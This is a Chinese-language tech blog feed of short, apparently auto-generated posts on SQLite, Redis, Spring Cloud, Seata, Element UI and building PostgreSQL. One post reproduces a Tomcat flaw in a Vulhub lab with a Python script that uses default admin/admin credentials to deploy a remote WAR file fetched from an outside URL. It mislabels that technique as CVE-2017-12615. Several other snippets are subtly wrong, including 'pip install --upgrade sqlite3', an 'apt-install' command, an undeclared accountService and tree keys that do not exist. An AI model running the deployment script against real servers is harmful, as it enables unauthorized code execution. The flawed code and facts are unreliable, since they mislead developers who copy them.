Tech Blog

2024-09-02

SQLite的cursor对象在Python中通常是通过sqlite3模块使用。cursor对象是数据库查询结果的指针，可以遍历结果集。

cursor对象的主要方法包括：

execute(sql [, optional parameters]): 执行一个SQL语句。
executemany(sql, seq_of_parameters): 对序列中的每个参数执行SQL语句。
fetchone(): 从结果集中获取下一行。
fetchmany([size]): 从结果集中获取多行。
fetchall(): 从结果集中获取所有行。
close(): 关闭cursor。
scroll(value, mode): 滚动指针。

使用cursor对象的基本步骤如下：

使用sqlite3.connect()连接到数据库。
使用connection.cursor()创建一个cursor对象。
使用cursor对象的方法执行SQL语句。
如果执行的是查询，使用fetch方法获取结果。
关闭cursor对象。
提交或回滚事务，关闭数据库连接。

示例代码：




import sqlite3
 
# 连接到数据库（如果不存在则创建）
conn = sqlite3.connect('example.db')
 
# 创建一个cursor对象
cursor = conn.cursor()
 
# 执行SQL语句
cursor.execute('''CREATE TABLE IF NOT EXISTS stocks
               (date text, trans text, symbol text, qty real, price real)''')
 
# 关闭cursor对象
cursor.close()
 
# 提交事务
conn.commit()
 
# 关闭连接
conn.close()

在实际应用中，你可能需要根据查询结果遍历数据：




# 连接到数据库
conn = sqlite3.connect('example.db')
 
# 创建一个cursor对象
cursor = conn.cursor()
 
# 执行查询
cursor.execute('SELECT * FROM stocks ORDER BY symbol')
 
# 使用fetchall获取所有结果
rows = cursor.fetchall()
 
# 遍历结果集
for row in rows:
    print(row)
 
# 关闭cursor对象
cursor.close()
 
# 关闭连接
conn.close()

.NET中用于重复数据删除的Redis

2024-09-02

所有,redis

在.NET中，要使用Redis进行重复数据删除，你可以使用StackExchange.Redis这个库。以下是一个简单的例子，展示了如何使用Redis的Set数据结构来删除重复的元素。

首先，确保你已经安装了StackExchange.Redis库。如果没有安装，可以通过NuGet进行安装：




Install-Package StackExchange.Redis

然后，你可以使用以下代码来删除重复的数据：




using StackExchange.Redis;
using System;
 
class Program
{
    static void Main()
    {
        // 创建连接到Redis服务器的连接
        ConnectionMultiplexer redis = ConnectionMultiplexer.Connect("localhost");
 
        // 获取数据库实例
        IDatabase db = redis.GetDatabase();
 
        // 假设你有一个key集合
        RedisKey[] redisKeys = { "key1", "key2", "key3" };
 
        // 使用UnionStore删除重复的数据
        db.SetCombine(SetOperation.Union, "unique_keys", redisKeys);
 
        // 获取唯一键的集合
        RedisValue[] uniqueKeys = db.SetMembers("unique_keys");
 
        // 打印唯一键
        foreach (var key in uniqueKeys)
        {
            Console.WriteLine(key);
        }
    }
}

在这个例子中，SetCombine 方法用于找出所有给定键的并集，并将结果存储在 "unique_keys" 这个新的键中。这样，你就获得了一个不包含重复元素的集合。SetMembers 方法用于获取这个新集合的所有成员，并打印出来。

请注意，这只是一个简单的例子，实际使用时可能需要考虑更多的错误处理和性能优化措施。

Apache Tomcat 漏洞复现

2024-09-02

由于原始问题没有提供具体的Tomcat版本和漏洞类型，我将提供一个常见的Tomcat远程代码执行漏洞（CVE-2017-12615）的复现示例。

环境要求：

Docker
Docker Compose

步骤：

克隆漏洞环境的GitHub仓库：




git clone https://github.com/vulhub/vulhub.git




cd vulhub/tomcat/tomcat8/

使用Docker Compose启动服务：




docker-compose up -d

访问Tomcat管理界面，尝试使用默认凭证进行登录（通常可以在docker-compose.yml文件中找到）。
使用漏洞POC进行测试，可以使用以下Python脚本（确保已安装requests库）：




import requests
 
# 修改为你的Tomcat服务地址
url = "http://your-tomcat-server:8080/manager/text/deploy?path=/poc&war=https://example.com/poc.war"
 
# 修改为你的Tomcat管理员凭证
credentials = ('admin', 'admin')
 
# 发送请求
response = requests.get(url, auth=credentials)
 
print(response.text)

运行上述Python脚本，如果Tomcat存在该漏洞，你将看到远程代码执行的结果。

注意：在实际环境中，请不要尝试对未授权系统执行攻击，而是在受控环境中进行测试和监测。

2024-09-02

报错解释：

这个错误表明Django项目需要至少使用SQLite 3.9.0版本，但是当前环境中的SQLite版本低于此版本。

解决方法：

升级SQLite：可以通过包管理工具（如pip或系统的包管理器）升级SQLite。例如，在Linux系统中，可以使用以下命令：
```
sudo apt-get update
sudo apt-get install --only-upgrade sqlite3
```
在Windows系统中，可以通过下载SQLite的官方安装程序来升级。
在使用pip升级时，可以运行：
```
pip install --upgrade sqlite3
```
更改Django项目的数据库配置：如果无法升级系统的SQLite版本，可以考虑将Django项目的数据库从SQLite迁移到其他数据库，如PostgreSQL或MySQL。

确保在升级SQLite或更改数据库后，重新检查Django项目的数据库配置文件（通常是settings.py中的DATABASES部分），并确保相关设置正确。

Spring Cloud Alibaba——服务器环境搭建

2024-09-02

在开始之前，请确保您已经安装了Java Development Kit (JDK) 1.8或更高版本，并且安装了Apache Maven 3.x。

在pom.xml中添加Spring Cloud Alibaba依赖：




<dependencies>
    <!-- Spring Cloud Alibaba Nacos Discovery -->
    <dependency>
        <groupId>com.alibaba.cloud</groupId>
        <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId>
    </dependency>
</dependencies>
 
<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>com.alibaba.cloud</groupId>
            <artifactId>spring-cloud-alibaba-dependencies</artifactId>
            <version>2.2.5.RELEASE</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
    </dependencies>
</dependencyManagement>

在application.properties或application.yml中配置Nacos服务器地址：




spring.cloud.nacos.discovery.server-addr=127.0.0.1:8848

创建启动类：




@SpringBootApplication
@EnableDiscoveryClient
public class NacosProviderApplication {
    public static void main(String[] args) {
        SpringApplication.run(NacosProviderApplication.class, args);
    }
}

创建一个服务提供者接口：




@RestController
public class TestController {
    @GetMapping("/test")
    public String test() {
        return "Hello, Spring Cloud Alibaba!";
    }
}

确保您已经安装并运行了Nacos服务器。您可以从Nacos的GitHub仓库或者官方网站下载Nacos并按照官方文档进行安装和启动。

以上步骤构建了一个基本的Spring Cloud Alibaba应用，它将服务注册到Nacos服务器。在实际开发中，您还需要进行额外配置，比如指定服务的名称、处理服务的版本和配置管理等。

2024-09-02

整合Seata分布式事务的核心步骤如下：

配置Seata服务器。
在ShardingSphere配置中启用Seata集成。
配置Seata分布式事务规则。
使用注解或配置方式声明分布式事务。

以下是Spring Cloud项目中整合Seata分布式事务的示例配置：




spring:
  cloud:
    alibaba:
      seata:
        tx-service-group: my_tx_group
        service:
          grouplist:
            default: localhost:8091
  shardingsphere:
    datasource:
      names: ds0,ds1
      ds0:
        type: com.zaxxer.hikari.HikariDataSource
        driver-class-name: com.mysql.cj.jdbc.Driver
        jdbc-url: jdbc:mysql://localhost:3306/ds0?useSSL=false&useUnicode=true&characterEncoding=UTF-8
        username: root
        password:
      ds1:
        type: com.zaxxer.hikari.HikariDataSource
        driver-class-name: com.mysql.cj.jdbc.Driver
        jdbc-url: jdbc:mysql://localhost:3306/ds1?useSSL=false&useUnicode=true&characterEncoding=UTF-8
        username: root
        password:
    sharding:
      tables:
        t_order:
          actual-data-nodes: ds$->{0..1}.t_order_$->{0..1}
          table-strategy:
            inline:
              sharding-column: order_id
              algorithm-expression: t_order_$->{order_id % 2}
          key-generator-column-name: order_id
    props:
      sql:
        show: true
 
seata:
  enabled: true
  tx-service-group: my_tx_group
  service:
    grouplist:
      default: localhost:8091

在Java代码中，使用@GlobalTransactional注解来声明分布式事务：




import io.seata.spring.annotation.GlobalTransactional;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
 
@Service
public class BusinessService {
 
    @Autowired
    private OrderService orderService;
 
    @GlobalTransactional
    public void purchase(String userId, String commodityCode, int orderCount) {
        orderService.decrease(userId, commodityCode, orderCount);
        accountService.debit(userId, orderCount);
    }
}

确保所有涉及到分布式事务的数据库操作都被Spring事务管理，并且数据源已正确配置。以上配置和代码示例提供了整合Seata分布式事务的基本框架，实际应用中还需要根据具体业务场景进行调整。

vue中el-tree默认选中和全部禁用

2024-09-02

所有,elementui

在Vue中，使用Element UI的el-tree组件时，可以通过设置节点的disabled属性来禁用节点，并通过:default-checked-keys来设置默认选中的节点。

以下是一个示例代码，展示了如何在el-tree中设置默认勾选和禁用节点：




<template>
  <el-tree
    :data="treeData"
    show-checkbox
    node-key="id"
    :default-checked-keys="defaultCheckedKeys"
    :props="defaultProps">
  </el-tree>
</template>
 
<script>
export default {
  data() {
    return {
      defaultProps: {
        children: 'children',
        label: 'label',
        disabled: 'disabled'
      },
      treeData: [
        {
          id: 1,
          label: '一级 1',
          children: [
            {
              id: 4,
              label: '二级 1-1',
              disabled: true // 禁用这个节点
            }
          ]
        },
        // ... 其他节点数据
      ],
      defaultCheckedKeys: [2, 3] // 默认勾选的节点id
    };
  }
};
</script>

在这个例子中，treeData定义了树的结构，其中一个节点的disabled属性被设置为true，这会使得该节点在el-tree组件中被禁用。defaultCheckedKeys是一个数组，包含了默认勾选的节点的id。

请确保你已经在项目中安装并正确配置了Element UI，因为el-tree是Element UI提供的一个组件。

postgresql集群编译安装

2024-09-02

为了在PostgreSQL上进行编译安装，你需要遵循以下步骤：

安装编译依赖项：




# 在基于Debian/Ubuntu的系统上
sudo apt-install -y build-essential zlibc zlib1g-dev libreadline-dev libssl-dev libpq-dev
 
# 在基于RedHat/CentOS的系统上
sudo yum install -y gcc gcc-c++ make zlib-devel readline-devel openssl-devel

下载PostgreSQL源代码：




wget https://ftp.postgresql.org/pub/source/vYourVersion/postgresql-YourVersion.tar.gz
tar -zxvf postgresql-YourVersion.tar.gz
cd postgresql-YourVersion

替换YourVersion为你想安装的PostgreSQL版本号。

配置编译选项：




./configure --prefix=/usr/local/pgsql

编译和安装：




make
sudo make install

初始化数据库：




sudo /usr/local/pgsql/bin/initdb -D /usr/local/pgsql/data

启动PostgreSQL服务：




sudo /usr/local/pgsql/bin/pg_ctl -D /usr/local/pgsql/data -l logfile start

配置环境变量：




echo 'export PATH=/usr/local/pgsql/bin:$PATH' >> ~/.bashrc
source ~/.bashrc

确保替换步骤中的指令和路径为你的系统和需求配置。这些步骤提供了一个基本的PostgreSQL集群编译安装过程，根据你的具体需求，你可能需要进一步配置和调整。

2024-09-02




import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource;
import javax.sql.DataSource;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
 
public class MultipleDataSource extends AbstractRoutingDataSource {
    private final Map<Object, Object> dataSourceMap = new ConcurrentHashMap<>();
 
    @Override
    protected Object determineCurrentLookupKey() {
        // DynamicDataSourceContextHolder为自定义类，提供数据源的获取和设置方法
        return DynamicDataSourceContextHolder.getDataSourceType();
    }
 
    public void addDataSource(String key, DataSource dataSource) {
        dataSourceMap.put(key, dataSource);
        this.setTargetDataSources(dataSourceMap); // 设置数据源
        this.afterPropertiesSet(); // 必须调用，以初始化AbstractRoutingDataSource
    }
 
    public DataSource getDataSource(String key) {
        return dataSourceMap.get(key);
    }
}

这段代码定义了一个MultipleDataSource类，它继承自AbstractRoutingDataSource。在determineCurrentLookupKey方法中，它使用DynamicDataSourceContextHolder来决定当前应该使用哪个数据源。addDataSource方法允许动态添加数据源，getDataSource方法用于获取指定的数据源。这个类可以用于实现多数据源的动态路由及其事务管理。

SQLite数据库最多能保存多少数据？

2024-09-02

SQLite数据库的存储容量受到数据库文件大小的限制，以及文件系统所允许的单个文件大小。理论上，SQLite可以存储的数据量没有硬性上限，但实际上受到操作系统文件系统的限制。

例如，在使用标准的32位操作系统时，文件大小通常限制在2GB（或者更小，取决于文件系统的限制）。对于64位系统，理论上可以支持到几PB的存储。

如果你的数据库文件超过了文件系统的限制，你可能会遇到错误，如SQLITE_FULL。在实际应用中，为了避免这种情况，你应该确保数据库文件的大小不会超过文件系统所允许的限制。

如果你的数据库文件确实非常大，你可能需要考虑分区、分表或者其他的数据库设计策略来管理大量数据。

请注意，这些限制与SQLite的版本和配置有关，不同的操作系统和文件系统可能会有不同的限制。